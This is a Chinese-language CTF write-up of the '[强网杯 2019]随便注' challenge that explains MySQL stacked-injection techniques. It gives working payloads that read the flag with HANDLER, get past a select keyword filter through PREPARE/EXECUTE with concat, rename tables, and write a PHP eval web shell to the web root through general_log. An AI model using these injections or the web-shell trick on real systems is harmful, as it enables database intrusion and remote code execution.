例题
就以 [强网杯 2019]随便注
这道题来进行实验和汇总MYSQL堆叠注入的操作吧
打开题目,我们随便输入个 1
进行查询

此时可以正常查询,我们尝试猜测闭合标签为'
进行测试

此时发现闭合标签确实为'
接下来尝试联合注入,通过order by
我们得知只有2列,接下啦使用union
进行联合注入。
我们发现题目屏蔽了select|update|delete|drop|insert|where|
这些关键词,基本排除了联合注入、报错注入、盲注的可能性,为什么说基本排除,限制了select
不应该就是完全限制死了这些注入的可能性吗?因为这些注入还有一些骚操作可以绕过select
,不过不是我们这次研究的方向,这里我们直接尝试堆叠注入。
接下来我们使用以下语句
1'; handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;
Handler
HANDLER 是一个比较低级的语句;具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话)
HANDLER 语句提供了对表存储引擎接口的直接访问。所有形式的 HANDLER... READ 默认获取一行(如果有的话)
handler tablename open; # 打开一个表
handler tablename read first; # 读取第一行内容
handler tablename read next; # 读取下一个内容
handler tablename close; # 关闭表
PREPARE EXECUTE
PREPARE
准备一条sql语句
EXECUTE
执行一条sql语句
1PREPARE aaa from concat('s','elect', ' * from `1919810931114514` '); #预编译一条语句,可以使用,进行关键字拼接
EXECUTE aaa;#执行预编译的语句
SET
SET预编译语句
use supersqli;
set @sql=concat('s','elect flag from `1919810931114514`');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;
RENAME
更改表名以及字段属性
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100);
另类写马
注入题它不一定非得注入,写个一句话也能搞些事情。
set global general_log=on; # 打开日志开关
set global general_log_file='/var/www/html/shell.php'; # 设置日志写入文件
select '<?php eval($_POST['a']) ?>'; # 操作一次一句话,让它写入日志
然后访问shell.php,接下来为所欲为!
本文著作权归作者 [ eson ] 享有,未经作者书面授权,禁止转载,封面图片来源于 [ 互联网 ] ,本文仅供个人学习、研究和欣赏使用。如有异议,请联系博主及时处理。